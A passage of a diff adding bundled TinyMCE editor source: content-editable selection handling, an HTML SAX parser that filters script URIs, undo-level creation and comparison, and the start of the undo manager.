+              e.preventDefault();
+              var range$$1 = showCaret$$1(1, caretInfo.node, caretInfo.before, false);
+              editor.getBody().focus();
+              setRange(range$$1);
+            }
+          }
+        }
+      });
+      editor.on('keypress', function (e) {
+        if ($_9udk9k5wjjgwe8on.modifierPressed(e)) {
+          return;
+        }
+        switch (e.keyCode) {
+        default:
+          if (isContentEditableFalse$9(editor.selection.getNode())) {
+            e.preventDefault();
+          }
+          break;
+        }
+      });
+      editor.on('getSelectionRange', function (e) {
+        var rng = e.range;
+        if (selectedContentEditableNode) {
+          if (!selectedContentEditableNode.parentNode) {
+            selectedContentEditableNode = null;
+            return;
+          }
+          rng = rng.cloneRange();
+          rng.selectNode(selectedContentEditableNode);
+          e.range = rng;
+        }
+      });
+      editor.on('setSelectionRange', function (e) {
+        var rng;
+        rng = setContentEditableSelection(e.range, e.forward);
+        if (rng) {
+          e.range = rng;
+        }
+      });
+      editor.on('AfterSetSelectionRange', function (e) {
+        var rng = e.range;
+        if (!isRangeInCaretContainer(rng)) {
+          hideFakeCaret();
+        }
+        if (!isFakeSelectionElement(rng.startContainer.parentNode)) {
+          removeContentEditableSelection();
+        }
+      });
+      editor.on('copy', function (e) {
+        var clipboardData = e.clipboardData;
+        if (!e.isDefaultPrevented() && e.clipboardData && !$_bcvfv9ajjgwe79v.ie) {
+          var realSelectionElement = getRealSelectionElement();
+          if (realSelectionElement) {
+            e.preventDefault();
+            clipboardData.clearData();
+            clipboardData.setData('text/html', realSelectionElement.outerHTML);
+            clipboardData.setData('text/plain', realSelectionElement.outerText);
+          }
+        }
+      });
+      $_d2ggl65pjjgwe8nv.init(editor);
+      $_gvlmc5vjjgwe8ok.setup(editor);
+    };
+    var addCss = function () {
+      var styles = editor.contentStyles, rootClass = '.mce-content-body';
+      styles.push(fakeCaret.getCss());
+      styles.push(rootClass + ' .mce-offscreen-selection {' + 'position: absolute;' + 'left: -9999999999px;' + 'max-width: 1000000px;' + '}' + rootClass + ' *[contentEditable=false] {' + 'cursor: default;' + '}' + rootClass + ' *[contentEditable=true] {' + 'cursor: text;' + '}');
+    };
+    var isWithinCaretContainer = function (node) {
+      return isCaretContainer(node) || startsWithCaretContainer(node) || endsWithCaretContainer(node);
+    };
+    var isRangeInCaretContainer = function (rng) {
+      return isWithinCaretContainer(rng.startContainer) || isWithinCaretContainer(rng.endContainer);
+    };
+    var setContentEditableSelection = function (range$$1, forward) {
+      var node;
+      var $ = editor.$;
+      var dom = editor.dom;
+      var $realSelectionContainer, sel, startContainer, startOffset, endOffset, e, caretPosition, targetClone, origTargetClone;
+      if (!range$$1) {
+        return null;
+      }
+      if (range$$1.collapsed) {
+        if (!isRangeInCaretContainer(range$$1)) {
+          if (forward === false) {
+            caretPosition = getNormalizedRangeEndPoint$$1(-1, range$$1);
+            if (isFakeCaretTarget(caretPosition.getNode(true))) {
+              return showCaret$$1(-1, caretPosition.getNode(true), false, false);
+            }
+            if (isFakeCaretTarget(caretPosition.getNode())) {
+              return showCaret$$1(-1, caretPosition.getNode(), !caretPosition.isAtEnd(), false);
+            }
+          } else {
+            caretPosition = getNormalizedRangeEndPoint$$1(1, range$$1);
+            if (isFakeCaretTarget(caretPosition.getNode())) {
+              return showCaret$$1(1, caretPosition.getNode(), !caretPosition.isAtEnd(), false);
+            }
+            if (isFakeCaretTarget(caretPosition.getNode(true))) {
+              return showCaret$$1(1, caretPosition.getNode(true), false, false);
+            }
+          }
+        }
+        return null;
+      }
+      startContainer = range$$1.startContainer;
+      startOffset = range$$1.startOffset;
+      endOffset = range$$1.endOffset;
+      if (startContainer.nodeType === 3 && startOffset === 0 && isContentEditableFalse$9(startContainer.parentNode)) {
+        startContainer = startContainer.parentNode;
+        startOffset = dom.nodeIndex(startContainer);
+        startContainer = startContainer.parentNode;
+      }
+      if (startContainer.nodeType !== 1) {
+        return null;
+      }
+      if (endOffset === startOffset + 1) {
+        node = startContainer.childNodes[startOffset];
+      }
+      if (!isContentEditableFalse$9(node)) {
+        return null;
+      }
+      targetClone = origTargetClone = node.cloneNode(true);
+      e = editor.fire('ObjectSelected', {
+        target: node,
+        targetClone: targetClone
+      });
+      if (e.isDefaultPrevented()) {
+        return null;
+      }
+      $realSelectionContainer = $_ajwe9029jjgwe7ul.descendant(Element$$1.fromDom(editor.getBody()), '#' + realSelectionId).fold(function () {
+        return $([]);
+      }, function (elm) {
+        return $([elm.dom()]);
+      });
+      targetClone = e.targetClone;
+      if ($realSelectionContainer.length === 0) {
+        $realSelectionContainer = $('<div data-mce-bogus="all" class="mce-offscreen-selection"></div>').attr('id', realSelectionId);
+        $realSelectionContainer.appendTo(editor.getBody());
+      }
+      range$$1 = editor.dom.createRng();
+      if (targetClone === origTargetClone && $_bcvfv9ajjgwe79v.ie) {
+        $realSelectionContainer.empty().append('<p style="font-size: 0" data-mce-bogus="all">\xA0</p>').append(targetClone);
+        range$$1.setStartAfter($realSelectionContainer[0].firstChild.firstChild);
+        range$$1.setEndAfter(targetClone);
+      } else {
+        $realSelectionContainer.empty().append('\xA0').append(targetClone).append('\xA0');
+        range$$1.setStart($realSelectionContainer[0].firstChild, 1);
+        range$$1.setEnd($realSelectionContainer[0].lastChild, 0);
+      }
+      $realSelectionContainer.css({ top: dom.getPos(node, editor.getBody()).y });
+      $realSelectionContainer[0].focus();
+      sel = editor.selection.getSel();
+      sel.removeAllRanges();
+      sel.addRange(range$$1);
+      each($_d3ydn427jjgwe7uf.descendants(Element$$1.fromDom(editor.getBody()), '*[data-mce-selected]'), function (elm) {
+        $_etx7gr15jjgwe7mr.remove(elm, 'data-mce-selected');
+      });
+      node.setAttribute('data-mce-selected', '1');
+      selectedContentEditableNode = node;
+      hideFakeCaret();
+      return range$$1;
+    };
+    var removeContentEditableSelection = function () {
+      if (selectedContentEditableNode) {
+        selectedContentEditableNode.removeAttribute('data-mce-selected');
+        $_ajwe9029jjgwe7ul.descendant(Element$$1.fromDom(editor.getBody()), '#' + realSelectionId).each($_81exq51wjjgwe7sm.remove);
+        selectedContentEditableNode = null;
+      }
+      $_ajwe9029jjgwe7ul.descendant(Element$$1.fromDom(editor.getBody()), '#' + realSelectionId).each($_81exq51wjjgwe7sm.remove);
+      selectedContentEditableNode = null;
+    };
+    var destroy = function () {
+      fakeCaret.destroy();
+      selectedContentEditableNode = null;
+    };
+    var hideFakeCaret = function () {
+      fakeCaret.hide();
+    };
+    if ($_bcvfv9ajjgwe79v.ceFalse) {
+      registerEvents();
+      addCss();
+    }
+    return {
+      showCaret: showCaret$$1,
+      showBlockCaretContainer: showBlockCaretContainer,
+      hideFakeCaret: hideFakeCaret,
+      destroy: destroy
+    };
+  };
+
+  var isValidPrefixAttrName = function (name) {
+    return name.indexOf('data-') === 0 || name.indexOf('aria-') === 0;
+  };
+  var trimComments = function (text) {
+    return text.replace(/<!--|-->/g, '');
+  };
+  var isInvalidUri = function (settings, uri) {
+    if (settings.allow_html_data_urls) {
+      return false;
+    } else if (/^data:image\//i.test(uri)) {
+      return settings.allow_svg_data_urls === false && /^data:image\/svg\+xml/i.test(uri);
+    } else {
+      return /^data:/i.test(uri);
+    }
+  };
+  var findEndTagIndex = function (schema, html, startIndex) {
+    var count = 1, index, matches, tokenRegExp, shortEndedElements;
+    shortEndedElements = schema.getShortEndedElements();
+    tokenRegExp = /<([!?\/])?([A-Za-z0-9\-_\:\.]+)((?:\s+[^"\'>]+(?:(?:"[^"]*")|(?:\'[^\']*\')|[^>]*))*|\/|\s+)>/g;
+    tokenRegExp.lastIndex = index = startIndex;
+    while (matches = tokenRegExp.exec(html)) {
+      index = tokenRegExp.lastIndex;
+      if (matches[1] === '/') {
+        count--;
+      } else if (!matches[1]) {
+        if (matches[2] in shortEndedElements) {
+          continue;
+        }
+        count++;
+      }
+      if (count === 0) {
+        break;
+      }
+    }
+    return index;
+  };
+  function SaxParser(settings, schema) {
+    if (schema === void 0) {
+      schema = Schema();
+    }
+    var noop = function () {
+    };
+    settings = settings || {};
+    if (settings.fix_self_closing !== false) {
+      settings.fix_self_closing = true;
+    }
+    var comment = settings.comment ? settings.comment : noop;
+    var cdata = settings.cdata ? settings.cdata : noop;
+    var text = settings.text ? settings.text : noop;
+    var start = settings.start ? settings.start : noop;
+    var end = settings.end ? settings.end : noop;
+    var pi = settings.pi ? settings.pi : noop;
+    var doctype = settings.doctype ? settings.doctype : noop;
+    var parse = function (html) {
+      var matches, index = 0, value, endRegExp;
+      var stack = [];
+      var attrList, i, textData, name;
+      var isInternalElement, removeInternalElements, shortEndedElements, fillAttrsMap, isShortEnded;
+      var validate, elementRule, isValidElement, attr, attribsValue, validAttributesMap, validAttributePatterns;
+      var attributesRequired, attributesDefault, attributesForced, processHtml;
+      var anyAttributesRequired, selfClosing, tokenRegExp, attrRegExp, specialElements, attrValue, idCount = 0;
+      var decode = $_6pqr9q1sjjgwe7qj.decode;
+      var fixSelfClosing;
+      var filteredUrlAttrs = $_6cwiepljjgwe7j4.makeMap('src,href,data,background,formaction,poster,xlink:href');
+      var scriptUriRegExp = /((java|vb)script|mhtml):/i;
+      var processEndTag = function (name) {
+        var pos, i;
+        pos = stack.length;
+        while (pos--) {
+          if (stack[pos].name === name) {
+            break;
+          }
+        }
+        if (pos >= 0) {
+          for (i = stack.length - 1; i >= pos; i--) {
+            name = stack[i];
+            if (name.valid) {
+              end(name.name);
+            }
+          }
+          stack.length = pos;
+        }
+      };
+      var parseAttribute = function (match, name, value, val2, val3) {
+        var attrRule, i;
+        var trimRegExp = /[\s\u0000-\u001F]+/g;
+        name = name.toLowerCase();
+        value = name in fillAttrsMap ? name : decode(value || val2 || val3 || '');
+        if (validate && !isInternalElement && isValidPrefixAttrName(name) === false) {
+          attrRule = validAttributesMap[name];
+          if (!attrRule && validAttributePatterns) {
+            i = validAttributePatterns.length;
+            while (i--) {
+              attrRule = validAttributePatterns[i];
+              if (attrRule.pattern.test(name)) {
+                break;
+              }
+            }
+            if (i === -1) {
+              attrRule = null;
+            }
+          }
+          if (!attrRule) {
+            return;
+          }
+          if (attrRule.validValues && !(value in attrRule.validValues)) {
+            return;
+          }
+        }
+        if (filteredUrlAttrs[name] && !settings.allow_script_urls) {
+          var uri = value.replace(trimRegExp, '');
+          try {
+            uri = decodeURIComponent(uri);
+          } catch (ex) {
+            uri = unescape(uri);
+          }
+          if (scriptUriRegExp.test(uri)) {
+            return;
+          }
+          if (isInvalidUri(settings, uri)) {
+            return;
+          }
+        }
+        if (isInternalElement && (name in filteredUrlAttrs || name.indexOf('on') === 0)) {
+          return;
+        }
+        attrList.map[name] = value;
+        attrList.push({
+          name: name,
+          value: value
+        });
+      };
+      tokenRegExp = new RegExp('<(?:' + '(?:!--([\\w\\W]*?)-->)|' + '(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|' + '(?:!DOCTYPE([\\w\\W]*?)>)|' + '(?:\\?([^\\s\\/<>]+) ?([\\w\\W]*?)[?/]>)|' + '(?:\\/([A-Za-z][A-Za-z0-9\\-_\\:\\.]*)>)|' + '(?:([A-Za-z][A-Za-z0-9\\-_\\:\\.]*)((?:\\s+[^"\'>]+(?:(?:"[^"]*")|(?:\'[^\']*\')|[^>]*))*|\\/|\\s+)>)' + ')', 'g');
+      attrRegExp = /([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:[^\"])*)\")|(?:\'((?:[^\'])*)\')|([^>\s]+)))?/g;
+      shortEndedElements = schema.getShortEndedElements();
+      selfClosing = settings.self_closing_elements || schema.getSelfClosingElements();
+      fillAttrsMap = schema.getBoolAttrs();
+      validate = settings.validate;
+      removeInternalElements = settings.remove_internals;
+      fixSelfClosing = settings.fix_self_closing;
+      specialElements = schema.getSpecialElements();
+      processHtml = html + '>';
+      while (matches = tokenRegExp.exec(processHtml)) {
+        if (index < matches.index) {
+          text(decode(html.substr(index, matches.index - index)));
+        }
+        if (value = matches[6]) {
+          value = value.toLowerCase();
+          if (value.charAt(0) === ':') {
+            value = value.substr(1);
+          }
+          processEndTag(value);
+        } else if (value = matches[7]) {
+          if (matches.index + matches[0].length > html.length) {
+            text(decode(html.substr(matches.index)));
+            index = matches.index + matches[0].length;
+            continue;
+          }
+          value = value.toLowerCase();
+          if (value.charAt(0) === ':') {
+            value = value.substr(1);
+          }
+          isShortEnded = value in shortEndedElements;
+          if (fixSelfClosing && selfClosing[value] && stack.length > 0 && stack[stack.length - 1].name === value) {
+            processEndTag(value);
+          }
+          if (!validate || (elementRule = schema.getElementRule(value))) {
+            isValidElement = true;
+            if (validate) {
+              validAttributesMap = elementRule.attributes;
+              validAttributePatterns = elementRule.attributePatterns;
+            }
+            if (attribsValue = matches[8]) {
+              isInternalElement = attribsValue.indexOf('data-mce-type') !== -1;
+              if (isInternalElement && removeInternalElements) {
+                isValidElement = false;
+              }
+              attrList = [];
+              attrList.map = {};
+              attribsValue.replace(attrRegExp, parseAttribute);
+            } else {
+              attrList = [];
+              attrList.map = {};
+            }
+            if (validate && !isInternalElement) {
+              attributesRequired = elementRule.attributesRequired;
+              attributesDefault = elementRule.attributesDefault;
+              attributesForced = elementRule.attributesForced;
+              anyAttributesRequired = elementRule.removeEmptyAttrs;
+              if (anyAttributesRequired && !attrList.length) {
+                isValidElement = false;
+              }
+              if (attributesForced) {
+                i = attributesForced.length;
+                while (i--) {
+                  attr = attributesForced[i];
+                  name = attr.name;
+                  attrValue = attr.value;
+                  if (attrValue === '{$uid}') {
+                    attrValue = 'mce_' + idCount++;
+                  }
+                  attrList.map[name] = attrValue;
+                  attrList.push({
+                    name: name,
+                    value: attrValue
+                  });
+                }
+              }
+              if (attributesDefault) {
+                i = attributesDefault.length;
+                while (i--) {
+                  attr = attributesDefault[i];
+                  name = attr.name;
+                  if (!(name in attrList.map)) {
+                    attrValue = attr.value;
+                    if (attrValue === '{$uid}') {
+                      attrValue = 'mce_' + idCount++;
+                    }
+                    attrList.map[name] = attrValue;
+                    attrList.push({
+                      name: name,
+                      value: attrValue
+                    });
+                  }
+                }
+              }
+              if (attributesRequired) {
+                i = attributesRequired.length;
+                while (i--) {
+                  if (attributesRequired[i] in attrList.map) {
+                    break;
+                  }
+                }
+                if (i === -1) {
+                  isValidElement = false;
+                }
+              }
+              if (attr = attrList.map['data-mce-bogus']) {
+                if (attr === 'all') {
+                  index = findEndTagIndex(schema, html, tokenRegExp.lastIndex);
+                  tokenRegExp.lastIndex = index;
+                  continue;
+                }
+                isValidElement = false;
+              }
+            }
+            if (isValidElement) {
+              start(value, attrList, isShortEnded);
+            }
+          } else {
+            isValidElement = false;
+          }
+          if (endRegExp = specialElements[value]) {
+            endRegExp.lastIndex = index = matches.index + matches[0].length;
+            if (matches = endRegExp.exec(html)) {
+              if (isValidElement) {
+                textData = html.substr(index, matches.index - index);
+              }
+              index = matches.index + matches[0].length;
+            } else {
+              textData = html.substr(index);
+              index = html.length;
+            }
+            if (isValidElement) {
+              if (textData.length > 0) {
+                text(textData, true);
+              }
+              end(value);
+            }
+            tokenRegExp.lastIndex = index;
+            continue;
+          }
+          if (!isShortEnded) {
+            if (!attribsValue || attribsValue.indexOf('/') !== attribsValue.length - 1) {
+              stack.push({
+                name: value,
+                valid: isValidElement
+              });
+            } else if (isValidElement) {
+              end(value);
+            }
+          }
+        } else if (value = matches[1]) {
+          if (value.charAt(0) === '>') {
+            value = ' ' + value;
+          }
+          if (!settings.allow_conditional_comments && value.substr(0, 3).toLowerCase() === '[if') {
+            value = ' ' + value;
+          }
+          comment(value);
+        } else if (value = matches[2]) {
+          cdata(trimComments(value));
+        } else if (value = matches[3]) {
+          doctype(value);
+        } else if (value = matches[4]) {
+          pi(value, matches[5]);
+        }
+        index = matches.index + matches[0].length;
+      }
+      if (index < html.length) {
+        text(decode(html.substr(index)));
+      }
+      for (i = stack.length - 1; i >= 0; i--) {
+        value = stack[i];
+        if (value.valid) {
+          end(value.name);
+        }
+      }
+    };
+    return { parse: parse };
+  }
+  (function (SaxParser) {
+    SaxParser.findEndTag = findEndTagIndex;
+  }(SaxParser || (SaxParser = {})));
+  var SaxParser$1 = SaxParser;
+
+  var trimHtml = function (tempAttrs, html) {
+    var trimContentRegExp = new RegExp(['\\s?(' + tempAttrs.join('|') + ')="[^"]+"'].join('|'), 'gi');
+    return html.replace(trimContentRegExp, '');
+  };
+  var trimInternal = function (serializer, html) {
+    var content = html;
+    var bogusAllRegExp = /<(\w+) [^>]*data-mce-bogus="all"[^>]*>/g;
+    var endTagIndex, index, matchLength, matches, shortEndedElements;
+    var schema = serializer.schema;
+    content = trimHtml(serializer.getTempAttrs(), content);
+    shortEndedElements = schema.getShortEndedElements();
+    while (matches = bogusAllRegExp.exec(content)) {
+      index = bogusAllRegExp.lastIndex;
+      matchLength = matches[0].length;
+      if (shortEndedElements[matches[1]]) {
+        endTagIndex = index;
+      } else {
+        endTagIndex = SaxParser$1.findEndTag(schema, content, index);
+      }
+      content = content.substring(0, index - matchLength) + content.substring(endTagIndex);
+      bogusAllRegExp.lastIndex = index - matchLength;
+    }
+    return $_2xw7ul2pjjgwe7xs.trim(content);
+  };
+  var trimExternal = trimInternal;
+  var $_87j7cq5zjjgwe8pf = {
+    trimExternal: trimExternal,
+    trimInternal: trimInternal
+  };
+
+  var KEEP = 0;
+  var INSERT = 1;
+  var DELETE = 2;
+  var diff = function (left, right) {
+    var size = left.length + right.length + 2;
+    var vDown = new Array(size);
+    var vUp = new Array(size);
+    var snake = function (start, end, diag) {
+      return {
+        start: start,
+        end: end,
+        diag: diag
+      };
+    };
+    var buildScript = function (start1, end1, start2, end2, script) {
+      var middle = getMiddleSnake(start1, end1, start2, end2);
+      if (middle === null || middle.start === end1 && middle.diag === end1 - end2 || middle.end === start1 && middle.diag === start1 - start2) {
+        var i = start1;
+        var j = start2;
+        while (i < end1 || j < end2) {
+          if (i < end1 && j < end2 && left[i] === right[j]) {
+            script.push([
+              KEEP,
+              left[i]
+            ]);
+            ++i;
+            ++j;
+          } else {
+            if (end1 - start1 > end2 - start2) {
+              script.push([
+                DELETE,
+                left[i]
+              ]);
+              ++i;
+            } else {
+              script.push([
+                INSERT,
+                right[j]
+              ]);
+              ++j;
+            }
+          }
+        }
+      } else {
+        buildScript(start1, middle.start, start2, middle.start - middle.diag, script);
+        for (var i2 = middle.start; i2 < middle.end; ++i2) {
+          script.push([
+            KEEP,
+            left[i2]
+          ]);
+        }
+        buildScript(middle.end, end1, middle.end - middle.diag, end2, script);
+      }
+    };
+    var buildSnake = function (start, diag, end1, end2) {
+      var end = start;
+      while (end - diag < end2 && end < end1 && left[end] === right[end - diag]) {
+        ++end;
+      }
+      return snake(start, end, diag);
+    };
+    var getMiddleSnake = function (start1, end1, start2, end2) {
+      var m = end1 - start1;
+      var n = end2 - start2;
+      if (m === 0 || n === 0) {
+        return null;
+      }
+      var delta = m - n;
+      var sum = n + m;
+      var offset = (sum % 2 === 0 ? sum : sum + 1) / 2;
+      vDown[1 + offset] = start1;
+      vUp[1 + offset] = end1 + 1;
+      var d, k, i, x, y;
+      for (d = 0; d <= offset; ++d) {
+        for (k = -d; k <= d; k += 2) {
+          i = k + offset;
+          if (k === -d || k !== d && vDown[i - 1] < vDown[i + 1]) {
+            vDown[i] = vDown[i + 1];
+          } else {
+            vDown[i] = vDown[i - 1] + 1;
+          }
+          x = vDown[i];
+          y = x - start1 + start2 - k;
+          while (x < end1 && y < end2 && left[x] === right[y]) {
+            vDown[i] = ++x;
+            ++y;
+          }
+          if (delta % 2 !== 0 && delta - d <= k && k <= delta + d) {
+            if (vUp[i - delta] <= vDown[i]) {
+              return buildSnake(vUp[i - delta], k + start1 - start2, end1, end2);
+            }
+          }
+        }
+        for (k = delta - d; k <= delta + d; k += 2) {
+          i = k + offset - delta;
+          if (k === delta - d || k !== delta + d && vUp[i + 1] <= vUp[i - 1]) {
+            vUp[i] = vUp[i + 1] - 1;
+          } else {
+            vUp[i] = vUp[i - 1];
+          }
+          x = vUp[i] - 1;
+          y = x - start1 + start2 - k;
+          while (x >= start1 && y >= start2 && left[x] === right[y]) {
+            vUp[i] = x--;
+            y--;
+          }
+          if (delta % 2 === 0 && -d <= k && k <= d) {
+            if (vUp[i] <= vDown[i + delta]) {
+              return buildSnake(vUp[i], k + start1 - start2, end1, end2);
+            }
+          }
+        }
+      }
+    };
+    var script = [];
+    buildScript(0, left.length, 0, right.length, script);
+    return script;
+  };
+  var $_2llrn562jjgwe8py = {
+    KEEP: KEEP,
+    DELETE: DELETE,
+    INSERT: INSERT,
+    diff: diff
+  };
+
+  var getOuterHtml = function (elm) {
+    if ($_3b9u2y1rjjgwe7qe.isElement(elm)) {
+      return elm.outerHTML;
+    } else if ($_3b9u2y1rjjgwe7qe.isText(elm)) {
+      return $_6pqr9q1sjjgwe7qj.encodeRaw(elm.data, false);
+    } else if ($_3b9u2y1rjjgwe7qe.isComment(elm)) {
+      return '<!--' + elm.data + '-->';
+    }
+    return '';
+  };
+  var createFragment$1 = function (html) {
+    var frag, node, container;
+    container = document.createElement('div');
+    frag = document.createDocumentFragment();
+    if (html) {
+      container.innerHTML = html;
+    }
+    while (node = container.firstChild) {
+      frag.appendChild(node);
+    }
+    return frag;
+  };
+  var insertAt = function (elm, html, index) {
+    var fragment = createFragment$1(html);
+    if (elm.hasChildNodes() && index < elm.childNodes.length) {
+      var target = elm.childNodes[index];
+      target.parentNode.insertBefore(fragment, target);
+    } else {
+      elm.appendChild(fragment);
+    }
+  };
+  var removeAt = function (elm, index) {
+    if (elm.hasChildNodes() && index < elm.childNodes.length) {
+      var target = elm.childNodes[index];
+      target.parentNode.removeChild(target);
+    }
+  };
+  var applyDiff = function (diff, elm) {
+    var index = 0;
+    $_6t4axrmjjgwe7jf.each(diff, function (action) {
+      if (action[0] === $_2llrn562jjgwe8py.KEEP) {
+        index++;
+      } else if (action[0] === $_2llrn562jjgwe8py.INSERT) {
+        insertAt(elm, action[1], index);
+        index++;
+      } else if (action[0] === $_2llrn562jjgwe8py.DELETE) {
+        removeAt(elm, index);
+      }
+    });
+  };
+  var read$3 = function (elm) {
+    return $_6t4axrmjjgwe7jf.filter($_6t4axrmjjgwe7jf.map(elm.childNodes, getOuterHtml), function (item) {
+      return item.length > 0;
+    });
+  };
+  var write = function (fragments, elm) {
+    var currentFragments = $_6t4axrmjjgwe7jf.map(elm.childNodes, getOuterHtml);
+    applyDiff($_2llrn562jjgwe8py.diff(currentFragments, fragments), elm);
+    return elm;
+  };
+  var $_6w5mhp61jjgwe8pt = {
+    read: read$3,
+    write: write
+  };
+
+  var fromHtml$1 = function (html, scope) {
+    var doc = scope || document;
+    var div = doc.createElement('div');
+    div.innerHTML = html;
+    return $_d3rmjp18jjgwe7nc.children(Element$$1.fromDom(div));
+  };
+  var fromTags = function (tags, scope) {
+    return map(tags, function (x) {
+      return Element$$1.fromTag(x, scope);
+    });
+  };
+  var fromText$1 = function (texts, scope) {
+    return map(texts, function (x) {
+      return Element$$1.fromText(x, scope);
+    });
+  };
+  var fromDom$1 = function (nodes) {
+    return map(nodes, Element$$1.fromDom);
+  };
+  var $_28ipi364jjgwe8q6 = {
+    fromHtml: fromHtml$1,
+    fromTags: fromTags,
+    fromText: fromText$1,
+    fromDom: fromDom$1
+  };
+
+  var get$6 = function (element) {
+    return element.dom().innerHTML;
+  };
+  var set$3 = function (element, content) {
+    var owner = $_d3rmjp18jjgwe7nc.owner(element);
+    var docDom = owner.dom();
+    var fragment = Element$$1.fromDom(docDom.createDocumentFragment());
+    var contentElements = $_28ipi364jjgwe8q6.fromHtml(content, docDom);
+    $_4wf3mo1xjjgwe7sq.append(fragment, contentElements);
+    $_81exq51wjjgwe7sm.empty(element);
+    $_ewo3u51yjjgwe7su.append(element, fragment);
+  };
+  var getOuter = function (element) {
+    var container = Element$$1.fromTag('div');
+    var clone = Element$$1.fromDom(element.dom().cloneNode(true));
+    $_ewo3u51yjjgwe7su.append(container, clone);
+    return get$6(container);
+  };
+  var $_103qrc63jjgwe8q4 = {
+    get: get$6,
+    set: set$3,
+    getOuter: getOuter
+  };
+
+  var undoLevelDocument = Cell(Option.none());
+  var lazyTempDocument = function () {
+    return undoLevelDocument.get().getOrThunk(function () {
+      var doc = document.implementation.createHTMLDocument('undo');
+      undoLevelDocument.set(Option.some(doc));
+      return doc;
+    });
+  };
+  var hasIframes = function (html) {
+    return html.indexOf('</iframe>') !== -1;
+  };
+  var createFragmentedLevel = function (fragments) {
+    return {
+      type: 'fragmented',
+      fragments: fragments,
+      content: '',
+      bookmark: null,
+      beforeBookmark: null
+    };
+  };
+  var createCompleteLevel = function (content) {
+    return {
+      type: 'complete',
+      fragments: null,
+      content: content,
+      bookmark: null,
+      beforeBookmark: null
+    };
+  };
+  var createFromEditor = function (editor) {
+    var fragments, content, trimmedFragments;
+    fragments = $_6w5mhp61jjgwe8pt.read(editor.getBody());
+    trimmedFragments = bind(fragments, function (html) {
+      var trimmed = $_87j7cq5zjjgwe8pf.trimInternal(editor.serializer, html);
+      return trimmed.length > 0 ? [trimmed] : [];
+    });
+    content = trimmedFragments.join('');
+    return hasIframes(content) ? createFragmentedLevel(trimmedFragments) : createCompleteLevel(content);
+  };
+  var applyToEditor = function (editor, level, before) {
+    if (level.type === 'fragmented') {
+      $_6w5mhp61jjgwe8pt.write(level.fragments, editor.getBody());
+    } else {
+      editor.setContent(level.content, { format: 'raw' });
+    }
+    editor.selection.moveToBookmark(before ? level.beforeBookmark : level.bookmark);
+  };
+  var getLevelContent = function (level) {
+    return level.type === 'fragmented' ? level.fragments.join('') : level.content;
+  };
+  var getCleanLevelContent = function (level) {
+    var elm = Element$$1.fromTag('body', lazyTempDocument());
+    $_103qrc63jjgwe8q4.set(elm, getLevelContent(level));
+    each($_d3ydn427jjgwe7uf.descendants(elm, '*[data-mce-bogus]'), $_81exq51wjjgwe7sm.unwrap);
+    return $_103qrc63jjgwe8q4.get(elm);
+  };
+  var hasEqualContent = function (level1, level2) {
+    return getLevelContent(level1) === getLevelContent(level2);
+  };
+  var hasEqualCleanedContent = function (level1, level2) {
+    return getCleanLevelContent(level1) === getCleanLevelContent(level2);
+  };
+  var isEq$3 = function (level1, level2) {
+    if (!level1 || !level2) {
+      return false;
+    } else if (hasEqualContent(level1, level2)) {
+      return true;
+    } else {
+      return hasEqualCleanedContent(level1, level2);
+    }
+  };
+  var $_4qf2in5yjjgwe8ow = {
+    createFragmentedLevel: createFragmentedLevel,
+    createCompleteLevel: createCompleteLevel,
+    createFromEditor: createFromEditor,
+    applyToEditor: applyToEditor,
+    isEq: isEq$3
+  };
+
+  function UndoManager (editor) {
+    var self = this, index = 0, data = [], beforeBookmark, isFirstTypedCharacter, locks = 0;
+    var isUnlocked = function () {
+      return locks === 0;
+    };
+    var setTyping = function (typing) {
+      if (isUnlocked()) {
+        self.typing = typing;
+      }
+    };
+    var setDirty = function (state) {
+      editor.setDirty(state);
+    };
+    var addNonTypingUndoLevel = function (e) {
+      setTyping(false);
+      self.add({}, e);
+    };
+    var endTyping = function () {
+      if (self.typing) {
+        setTyping(false);
+        self.add();
+      }
+    };
+    editor.on('init', function () {
+      self.add();
+    });
+    editor.on('BeforeExecCommand', function (e) {
+      var cmd = e.command;
+      if (cmd !== 'Undo' && cmd !== 'Redo' && cmd !== 'mceRepaint') {
+        endTyping();
+        self.beforeChange();
+      }
+    });
+    editor.on('ExecCommand', function (e) {
+      var cmd = e.command;
+      if (cmd !== 'Undo' && cmd !== 'Redo' && cmd !== 'mceRepaint') {
+        addNonTypingUndoLevel(e);
+      }
+    });
+    editor.on('ObjectResizeStart Cut', function () {
+      self.beforeChange();
+    });
+    editor.on('SaveContent ObjectResized blur', addNonTypingUndoLevel);
+    editor.on('DragEnd', addNonTypingUndoLevel);
+    editor.on('KeyUp', function (e) {
+      var keyCode = e.keyCode;
+      if (e.isDefaultPrevented()) {
+        return;
+      }
+      if (keyCode >= 33 && keyCode <= 36 || keyCode >= 37 && keyCode <= 40 || keyCode === 45 || e.ctrlKey) {
+        addNonTypingUndoLevel();
+        editor.nodeChanged();
+      }
+      if (keyCode === 46 || keyCode === 8) {
+        editor.nodeChanged();
+      }
+      if (isFirstTypedCharacter && self.typing && $_4qf2in5yjjgwe8ow.isEq($_4qf2in5yjjgwe8ow.createFromEditor(editor), data[0]) === false) {
+        if (editor.isDirty() === false) {
+          setDirty(true);
+          editor.fire('change', {
+            level: data[0],
+            lastLevel: null
+          });
+        }
+        editor.fire('TypingUndo');
+        isFirstTypedCharacter = false;
+        editor.nodeChanged();
+      }
+    });
+    editor.on('KeyDown', function (e) {
+      var keyCode = e.keyCode;
+      if (e.isDefaultPrevented()) {
+        return;
+      }
+      if (keyCode >= 33 && keyCode <= 36 || keyCode >= 37 && keyCode <= 40 || keyCode === 45) {
+        if (self.typing) {
+          addNonTypingUndoLevel(e);
+        }
+        return;
+      }
+      var modKey = e.ctrlKey && !e.altKey || e.metaKey;
+      if ((keyCode < 16 || keyCode > 20) && keyCode !== 224 && keyCode !== 91 && !self.typing && !modKey) {
+        self.beforeChange();
+        setTyping(true);
+        self.add({}, e);
+        isFirstTypedCharacter = true;
+      }
+    });
+    editor.on('MouseDown', function (e) {
+      if (self.typing) {
+        addNonTypingUndoLevel(e);
+      }
+    });
+    var isInsertReplacementText = function (event) {
+      return event.inputType === 'insertReplacementText';
+    };
+    var isInsertTextDataNull = function (event) {
+      return event.inputType === 'insertText' && event.data === null;
+    };
+    editor.on('input', function (e) {
+      if (e.inputType && (isInsertReplacementText(e) || isInsertTextDataNull(e))) {
+        addNonTypingUndoLevel(e);
+      }
+    });
+    editor.addShortcut('meta+z', '', 'Undo');
+    editor.addShortcut('meta+y,meta+shift+z', '', 'Redo');
+    editor.on('AddUndo Undo Redo ClearUndos', function (e) {
